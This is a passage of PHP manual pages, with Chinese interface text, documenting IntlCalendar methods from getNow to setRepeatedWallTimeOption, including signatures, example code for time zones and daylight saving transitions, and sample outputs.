An int representing a value for the given field in the field?s unit 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get number representing the current time

  • ? IntlCalendar::getMinimum
  • IntlCalendar::getRepeatedWallTimeOption ?
  • PHP Manual
  • IntlCalendar
  • Get number representing the current time

IntlCalendar::getNow

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getNow — Get number representing the current time

说明

面向对象风格

public static IntlCalendar::getNow(): float

过程化风格

intlcal_get_now(): float

The number of milliseconds that have passed since the reference date. This number is derived from the system time.

参数

此函数没有参数。

返回值

A float representing a number of milliseconds since the epoch, not counting leap seconds.

示例

Example #1 IntlCalendar::getNow()

<?php
$formatter = IntlDateFormatter::create('es_ES',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'Europe/Madrid');

$val = IntlCalendar::getNow();

var_dump($val);
echo $formatter->format(IntlCalendar::getNow() / 1000.), "\n";

以上示例会输出：

float(1371425814666)
lunes, 17 de junio de 2013 01:36:54 Hora de verano de Europa central

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling repeating wall time

  • ? IntlCalendar::getNow
  • IntlCalendar::getSkippedWallTimeOption ?
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling repeating wall time

IntlCalendar::getRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time

说明

面向对象风格

public IntlCalendar::getRepeatedWallTimeOption(): int

过程化风格

intlcal_get_repeated_wall_time_option(IntlCalendar $calendar): int

Gets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST.

This function requires ICU 4.9 or later.

参数

calendar

IntlCalendar 实例。

返回值

One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

示例

Example #1 IntlCalendar::getRepeatedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On October 27th at 0200, the clock goes back 1 hour and from GMT+01 to GMT+00
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30);

var_dump($cal->getRepeatedWalltimeOption()); // 0 WALLTIME_LAST

$formatter = IntlDateFormatter::create(
NULL,
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000.));

$cal->setRepeatedWalltimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getRepeatedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000.));

以上示例会输出：

int(0)
string(42) "Sunday, October 27, 2013 at 1:30:00 AM GMT"
int(1)
string(43) "Sunday, October 27, 2013 at 12:30:00 AM GMT"

参见

  • IntlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling skipped wall time

  • ? IntlCalendar::getRepeatedWallTimeOption
  • IntlCalendar::getTime ?
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling skipped wall time

IntlCalendar::getSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time

说明

面向对象风格

public IntlCalendar::getSkippedWallTimeOption(): int

过程化风格

intlcal_get_skipped_wall_time_option(IntlCalendar $calendar): int

Gets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

参数

calendar

IntlCalendar 实例。

返回值

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

示例

Example #1 IntlCalendar::getSkippedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On March 31st at 0100, the clock goes forward 1 hour and from GMT+00 to GMT+01
$cal = new IntlGregorianCalendar(2013, 2 /* March */, 31, 1, 30);

var_dump(
$cal->isLenient(), // true
$cal->getSkippedWalltimeOption() // 0 WALLTIME_LAST
);

$formatter = IntlDateFormatter::create(
NULL,
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getSkippedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_NEXT_VALID);
var_dump($cal->getSkippedWalltimeOption()); // 2 WALLTIME_NEXT_VALID
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

以上示例会输出：

bool(true)
int(0)
string(40) "Sunday, March 31, 2013 at 1:30:00 AM GMT"
int(1)
string(41) "Sunday, March 31, 2013 at 12:30:00 AM GMT"
int(2)
string(40) "Sunday, March 31, 2013 at 1:00:00 AM GMT"

参见

  • IntlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get time currently represented by the object

  • ? IntlCalendar::getSkippedWallTimeOption
  • IntlCalendar::getTimeZone ?
  • PHP Manual
  • IntlCalendar
  • Get time currently represented by the object

IntlCalendar::getTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getTime — Get time currently represented by the object

说明

面向对象风格

public IntlCalendar::getTime(): float|false

过程化风格

intlcal_get_time(IntlCalendar $calendar): float|false

Returns the time associated with this object, expressed as the number of milliseconds since the epoch.

参数

calendar

IntlCalendar 实例。

返回值

A float representing the number of milliseconds elapsed since the reference time (1 Jan 1970 00:00:00 UTC), 或者在失败时返回 false

示例

Example #1 IntlCalendar::getTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 4 /* May */, 1, 0, 0, 0);
$time = $cal->getTime();
var_dump($time, $time / 1000 == strtotime('2013-05-01 00:00:00')); //true

以上示例会输出：

float(1367362800000)
bool(true)

参见

  • IntlCalendar::getNow() - Get number representing the current time

User Contributed Notes

There are no user contributed notes for this page.


Get the object?s timezone

  • ? IntlCalendar::getTime
  • IntlCalendar::getType ?
  • PHP Manual
  • IntlCalendar
  • Get the object?s timezone

IntlCalendar::getTimeZone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getTimeZone — Get the object?s timezone

说明

面向对象风格

public IntlCalendar::getTimeZone(): IntlTimeZone|false

过程化风格

intlcal_get_time_zone(IntlCalendar $calendar): IntlTimeZone|false

Returns the IntlTimeZone object associated with this calendar.

参数

calendar

IntlCalendar 实例。

返回值

An IntlTimeZone object corresponding to the one used internally in this object. Returns false on failure.

示例

Example #1 IntlCalendar::getTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance();
print_r($cal->getTimeZone());

$cal->setTimeZone('UTC');
print_r($cal->getTimeZone());

$cal = IntlCalendar::fromDateTime('2012-01-01 00:00:00 GMT+03:33');
print_r($cal->getTimeZone());

以上示例会输出：

IntlTimeZone Object
(
    [valid] => 1
    [id] => Europe/Lisbon
    [rawOffset] => 0
    [currentOffset] => 3600000
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => UTC
    [rawOffset] => 0
    [currentOffset] => 0
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+03:33
    [rawOffset] => 12780000
    [currentOffset] => 12780000
)

参见

  • IntlCalendar::setTimeZone() - Set the timezone used by this calendar
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • IntlGregorianCalendar::__construct() - Create the Gregorian Calendar class

User Contributed Notes

There are no user contributed notes for this page.


Get the calendar type

  • ? IntlCalendar::getTimeZone
  • IntlCalendar::getWeekendTransition ?
  • PHP Manual
  • IntlCalendar
  • Get the calendar type

IntlCalendar::getType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getType — Get the calendar type

说明

面向对象风格

public IntlCalendar::getType(): string

过程化风格

intlcal_get_type(IntlCalendar $calendar): string

A string describing the type of this calendar. This is one of the valid values for the calendar keyword value 'calendar'.

参数

calendar

IntlCalendar 实例。

返回值

A string representing the calendar type, such as 'gregorian', 'islamic', etc.

示例

Example #1 IntlCalendar::getType()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance(NULL, '@calendar=ethiopic-amete-alem');
var_dump($cal->getType());

$cal = new IntlGregorianCalendar();
var_dump($cal->getType());

以上示例会输出：

string(19) "ethiopic-amete-alem"
string(9) "gregorian"

User Contributed Notes

There are no user contributed notes for this page.


Get time of the day at which weekend begins or ends

  • ? IntlCalendar::getType
  • IntlCalendar::inDaylightTime ?
  • PHP Manual
  • IntlCalendar
  • Get time of the day at which weekend begins or ends

IntlCalendar::getWeekendTransition

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends

说明

面向对象风格

public IntlCalendar::getWeekendTransition(int $dayOfWeek): int|false

过程化风格

intlcal_get_weekend_transition(IntlCalendar $calendar, int $dayOfWeek): int|false

Returns the number of milliseconds after midnight at which the weekend begins or ends.

This is only applicable for days of the week for which
IntlCalendar::getDayOfWeekType() returns either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE. Calling this
function for other days of the week is an error condition.

This function requires ICU 4.4 or later.

参数

calendar

IntlCalendar 实例。

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返回值

The number of milliseconds into the day at which the weekend begins or ends 或者在失败时返回 false.

示例

See example on IntlCalendar::getDayOfWeekType().

User Contributed Notes

There are no user contributed notes for this page.


Whether the object?s time is in Daylight Savings Time

  • ? IntlCalendar::getWeekendTransition
  • IntlCalendar::isEquivalentTo ?
  • PHP Manual
  • IntlCalendar
  • Whether the object?s time is in Daylight Savings Time

IntlCalendar::inDaylightTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time

说明

面向对象风格

public IntlCalendar::inDaylightTime(): bool

过程化风格

intlcal_in_daylight_time(IntlCalendar $calendar): bool

Whether, for the instant represented by this object and for this object?s timezone, daylight saving time is in place.

参数

calendar

IntlCalendar 实例。

返回值

Returns true if the date is in Daylight Savings Time, false otherwise.

On failure false is also returned. To detect error conditions use intl_get_error_code(), or set up Intl to throw exceptions.

示例

Example #1 IntlCalendar::inDaylightTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1, 4, 56, 31);
var_dump($cal->inDaylightTime()); // true
$cal->set(IntlCalendar::FIELD_MONTH, 11 /* December */);
var_dump($cal->inDaylightTime()); // false

//DST end transition on 2013-10-27 at 0200 (wall time back 1 hour)
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30, 0);

var_dump($cal->inDaylightTime()); // false (default WALLTIME_LAST)

$cal->setRepeatedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1); // force time recalculation
var_dump($cal->inDaylightTime()); // true

User Contributed Notes

There are no user contributed notes for this page.


Whether another calendar is equal but for a different time

  • ? IntlCalendar::inDaylightTime
  • IntlCalendar::isLenient ?
  • PHP Manual
  • IntlCalendar
  • Whether another calendar is equal but for a different time

IntlCalendar::isEquivalentTo

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time

说明

面向对象风格

public IntlCalendar::isEquivalentTo(IntlCalendar $other): bool

过程化风格

intlcal_is_equivalent_to(IntlCalendar $calendar, IntlCalendar $other): bool

Returns whether this and the given object are equivalent for all purposes except as to the time they have set. The locales do not have to match, as long as no change in behavior results from such mismatch. This includes the timezone, whether the lenient mode is set, the repeated and skipped wall time settings, the days of the week when the weekend starts and ceases and the times where such transitions occur. It may also include other calendar specific settings, such as the Gregorian/Julian transition instant.

参数

calendar

IntlCalendar 实例。

other

The other calendar against which the comparison is to be made.

返回值

Assuming there are no argument errors, returns true if the calendars are equivalent except possibly for their set time.

示例

Example #1 IntlCalendar::isEquivalentTo()

<?php
$cal1 = IntlCalendar::createInstance('Europe/Lisbon', 'pt_PT');
$cal2 = IntlCalendar::createInstance('Europe/Lisbon', 'es_ES');
$cal2->clear();

var_dump($cal1->isEquivalentTo($cal2)); // true

$cal3 = IntlCalendar::createInstance('Europe/Lisbon', 'en_US');
var_dump($cal1->isEquivalentTo($cal3)); // false
var_dump($cal1->getFirstDayOfWeek(), // 2 (Monday)
$cal3->getFirstDayOfWeek()); // 1 (Sunday)

以上示例会输出：

bool(true)
bool(false)
int(2)
int(1)

参见

  • IntlCalendar::equals() - Compare time of two IntlCalendar objects for equality

User Contributed Notes

There are no user contributed notes for this page.


Whether date/time interpretation is in lenient mode

  • ? IntlCalendar::isEquivalentTo
  • IntlCalendar::isSet ?
  • PHP Manual
  • IntlCalendar
  • Whether date/time interpretation is in lenient mode

IntlCalendar::isLenient

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode

说明

面向对象风格

public IntlCalendar::isLenient(): bool

过程化风格

intlcal_is_lenient(IntlCalendar $calendar): bool

Returns whether the current date/time interpretations is lenient (the default). If that is case, some out of range values for fields will be accepted instead of raising an error.

参数

calendar

IntlCalendar 实例。

返回值

A bool representing whether the calendar is set to lenient mode.

示例

Example #1 IntlCalendar::isLenient()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');
ini_set('intl.use_exceptions', '1');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
var_dump(IntlDateFormatter::formatObject($cal), // 01/07/2013, 00:00:00
$cal->isLenient()); // true

$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // 02/08/2013, 00:00:00

$cal->setLenient(false);
var_dump($cal->isLenient()); // false
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 33);
var_dump(IntlDateFormatter::formatObject($cal)); // error

以上示例会输出：

string(20) "01/07/2013, 00:00:00"
bool(true)
string(20) "02/08/2013, 00:00:00"
bool(false)

Fatal error: Uncaught exception 'IntlException' with message 'datefmt_format_object: error obtaining instant from IntlCalendar' in /home/foobar/example.php:16
Stack trace:
#0 /home/foobar/example.php(16): IntlDateFormatter::formatObject(Object(IntlGregorianCalendar))
#1 {main}
  thrown in /home/foobar/example.php on line 16

User Contributed Notes

There are no user contributed notes for this page.


Whether a field is set

  • ? IntlCalendar::isLenient
  • IntlCalendar::isWeekend ?
  • PHP Manual
  • IntlCalendar
  • Whether a field is set

IntlCalendar::isSet

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isSet — Whether a field is set

说明

面向对象风格

public IntlCalendar::isSet(int $field): bool

过程化风格

intlcal_is_set(IntlCalendar $calendar, int $field): bool

Returns whether a field is set (as opposed to clear). Set fields take priority over unset fields and their default values when the date/time is being calculated. Fields set later take priority over fields set earlier.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

Assuming there are no argument errors, returns true if the field is set.

示例

See the example on IntlCalendar::clear().

参见

  • IntlCalendar::clear() - Clear a field or all fields
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Whether a certain date/time is in the weekend

  • ? IntlCalendar::isSet
  • IntlCalendar::roll ?
  • PHP Manual
  • IntlCalendar
  • Whether a certain date/time is in the weekend

IntlCalendar::isWeekend

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::isWeekend — Whether a certain date/time is in the weekend

说明

面向对象风格

public IntlCalendar::isWeekend(?float $timestamp = null): bool

过程化风格

intlcal_is_weekend(IntlCalendar $calendar, ?float $timestamp = null): bool

Returns whether either the obejct?s current time or the provided timestamp occur during a weekend in this object?s calendar system.

This function requires ICU 4.4 or later.

参数

calendar

IntlCalendar 实例。

timestamp

An optional timestamp representing the number of milliseconds since the epoch, excluding leap seconds. If null, this object?s current time is used instead.

返回值

A bool indicating whether the given or this object?s time occurs in a weekend.

On failure false is also returned. To detect error conditions use intl_get_error_code(), or set up Intl to throw exceptions.

示例

Example #1 IntlCalendar::isWeekend()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = new IntlGregorianCalendar(NULL, 'en_US');
$cal->set(2013, 6 /* July */, 7); // a Sunday

var_dump($cal->isWeekend()); // true
var_dump($cal->isWeekend(strtotime('2013-07-01 00:00:00'))); // false, Monday

$cal = new IntlGregorianCalendar(NULL, 'ar_SA');
$cal->set(2013, 6 /* July */, 7); // a Sunday
var_dump($cal->isWeekend()); // false, Sunday not in weekend in this calendar

参见

  • IntlCalendar::getDayOfWeekType() - Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getWeekendTransition() - Get time of the day at which weekend begins or ends

User Contributed Notes

There are no user contributed notes for this page.


Add value to field without carrying into more significant fields

  • ? IntlCalendar::isWeekend
  • IntlCalendar::set ?
  • PHP Manual
  • IntlCalendar
  • Add value to field without carrying into more significant fields

IntlCalendar::roll

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::roll — Add value to field without carrying into more significant fields

说明

面向对象风格

public IntlCalendar::roll(int $field, int|bool $value): bool

过程化风格

intlcal_roll(IntlCalendar $calendar, int $field, int|bool $value): bool

Adds a (signed) amount to a field. The difference with respect to IntlCalendar::add() is that when the field value overflows, it does not carry into more significant fields.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

value

The (signed) amount to add to the field, true for rolling up (adding 1), or false for rolling down (subtracting 1).

返回值

Returns true on success or false on failure.

示例

Example #1 IntlCalendar::roll()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 5 /* June */, 30);

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
var_dump(IntlDateFormatter::formatObject($cal)); // "01/07/2013, 00:00:00"

$cal->set(2013, 5 /* June */, 30);
$cal->roll(IntlCalendar::FIELD_DAY_OF_MONTH, true); // roll up, same as rolling +1
var_dump(IntlDateFormatter::formatObject($cal)); // "01/06/2013, 00:00:00"

以上示例会输出：

string(20) "01/07/2013, 00:00:00"
string(20) "01/06/2013, 00:00:00"

参见

  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::set() - Set a time field or several common fields at once

User Contributed Notes

There are no user contributed notes for this page.


Set a time field or several common fields at once

  • ? IntlCalendar::roll
  • IntlCalendar::setDate ?
  • PHP Manual
  • IntlCalendar
  • Set a time field or several common fields at once

IntlCalendar::set

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::set — Set a time field or several common fields at once

说明

面向对象风格

public IntlCalendar::set(int $field, int $value): true
public IntlCalendar::set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true

过程化风格

intlcal_set(IntlCalendar $cal, int $field, int $value): true
intlcal_set(
IntlCalendar $cal,
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): bool

Sets either a specific field to the given value, or sets at once several common fields. The range of values that are accepted depend on whether the calendar is using the lenient mode.

For fields that conflict, the fields that are set later have priority.

This method cannot be called with exactly four arguments.

参数

cal

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

value

The new value of the given field.

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlCalendar::FIELD_MINUTE.

second

The new value for IntlCalendar::FIELD_SECOND.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 IntlCalendar::set()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

//Calls made later have priority
$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
var_dump(IntlDateFormatter::formatObject($cal));

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
$cal->set(IntlCalendar::FIELD_YEAR, 2012);
$cal->set(IntlCalendar::FIELD_EXTENDED_YEAR, 2011);
//the time has not been recalculated yet. If we clear the extended year,
//the year set before will be used
$cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR);
var_dump(IntlDateFormatter::formatObject($cal));

以上示例会输出：

string(20) "01/07/2011, 00:00:00"
string(20) "01/07/2012, 00:00:00"

参见

  • IntlCalendar::get() - Get the value for a field
  • IntlCalendar::add() - Add a (signed) amount of time to a field
  • IntlCalendar::roll() - Add value to field without carrying into more significant fields

User Contributed Notes

There are no user contributed notes for this page.


Set a date fields

  • ? IntlCalendar::set
  • IntlCalendar::setDateTime ?
  • PHP Manual
  • IntlCalendar
  • Set a date fields

IntlCalendar::setDate

(PHP 8 >= 8.3.0)

IntlCalendar::setDate — Set a date fields

说明

public IntlCalendar::setDate(int $year, int $month, int $dayOfMonth): void

Sets a date fields to the given value.

参数

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

返回值

没有返回值。

示例

Example #1 IntlCalendar::setDate() example

<?php
$intlCal = IntlCalendar::createInstance('UTC');

$intlCal->setDate(2012, 1, 29);
?>

User Contributed Notes

There are no user contributed notes for this page.


Set a date and time fields

  • ? IntlCalendar::setDate
  • IntlCalendar::setFirstDayOfWeek ?
  • PHP Manual
  • IntlCalendar
  • Set a date and time fields

IntlCalendar::setDateTime

(PHP 8 >= 8.3.0)

IntlCalendar::setDateTime — Set a date and time fields

说明

public IntlCalendar::setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void

Sets a date and time fields to the given value.

参数

year

The new value for IntlCalendar::FIELD_YEAR.

month

The new value for IntlCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlCalendar::FIELD_MINUTE.

second

The new value for IntlCalendar::FIELD_SECOND.

返回值

没有返回值。

示例

Example #1 IntlCalendar::setDateTime() example

<?php
$intlCal = IntlCalendar::createInstance('UTC');

$intlCal->setDateTime(2012, 1, 29, 23, 58);
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the day on which the week is deemed to start

  • ? IntlCalendar::setDateTime
  • IntlCalendar::setLenient ?
  • PHP Manual
  • IntlCalendar
  • Set the day on which the week is deemed to start

IntlCalendar::setFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start

说明

面向对象风格

public IntlCalendar::setFirstDayOfWeek(int $dayOfWeek): true

过程化风格

intlcal_set_first_day_of_week(IntlCalendar $calendar, int $dayOfWeek): true

Defines the day of week deemed to start the week. This affects the behavior of fields that depend on the concept of week start and end such as IntlCalendar::FIELD_WEEK_OF_YEAR and IntlCalendar::FIELD_YEAR_WOY.

参数

calendar

IntlCalendar 实例。

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 IntlCalendar::setFirstDayOfWeek()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = IntlCalendar::createInstance();
$cal->set(2013, 5 /* June */, 30); // A Sunday

var_dump($cal->getFirstDayOfWeek()); // 2 (Monday)

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month : 'W'
week of year : 'ww
EOD
), "\n";

$cal->setFirstDayOfWeek(IntlCalendar::DOW_SUNDAY);

echo IntlDateFormatter::formatObject($cal, <<<EOD
'local day of week: 'cc'
week of month : 'W'
week of year : 'ww
EOD
), "\n";

以上示例会输出：

int(2)
local day of week: 7
week of month    : 4
week of year     : 26
local day of week: 1
week of month    : 5
week of year     : 27

User Contributed Notes

There are no user contributed notes for this page.


Set whether date/time interpretation is to be lenient

  • ? IntlCalendar::setFirstDayOfWeek
  • IntlCalendar::setMinimalDaysInFirstWeek ?
  • PHP Manual
  • IntlCalendar
  • Set whether date/time interpretation is to be lenient

IntlCalendar::setLenient

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient

说明

面向对象风格

public IntlCalendar::setLenient(bool $lenient): true

过程化风格

intlcal_set_lenient(IntlCalendar $calendar, bool $lenient): true

Defines whether the calendar is 'lenient mode'. In such a mode, some of out-of-bounds values for some fields are accepted, the behavior being similar to that of IntlCalendar::add() (i.e., the value wraps around, carrying into more significant fields each time). If the lenient mode is off, then such values will generate an error.

参数

calendar

IntlCalendar 实例。

lenient

Use true to activate the lenient mode; false otherwise.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

See the example in IntlCalendar::isLenient().

User Contributed Notes

There are no user contributed notes for this page.


Set minimal number of days the first week in a year or month can have

  • ? IntlCalendar::setLenient
  • IntlCalendar::setRepeatedWallTimeOption ?
  • PHP Manual
  • IntlCalendar
  • Set minimal number of days the first week in a year or month can have

IntlCalendar::setMinimalDaysInFirstWeek

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have

说明

面向对象风格

public IntlCalendar::setMinimalDaysInFirstWeek(int $days): true

过程化风格

intlcal_set_minimal_days_in_first_week(IntlCalendar $calendar, int $days): true

Sets the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous year?s last week.

参数

calendar

IntlCalendar 实例。

days

The number of minimal days to set.

返回值

总是返回 true。

错误／异常

ValueError if days is out of range (less than 1 or more than 7).

更新日志

版本 | 说明
8.0.0 | A ValueError is now thrown on invalid input. Previously, false was returned.

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling repeating wall times at negative timezone offset transitions

  • ? IntlCalendar::setMinimalDaysInFirstWeek
  • IntlCalendar::setSkippedWallTimeOption ?
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling repeating wall times at negative timezone offset transitions

IntlCalendar::setRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions

说明

面向对象风格

public IntlCalendar::setRepeatedWallTimeOption(int $option): true

过程化风格

intlcal_set_repeated_wall_time_option(IntlCalendar $calendar, int $option): true

Sets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST (take the post-DST instant). The other possible value is IntlCalendar::WALLTIME_FIRST (take the instant that occurs during DST).

This function requires ICU 4.9 or later.

参数

calendar

IntlCalendar 实例。

option

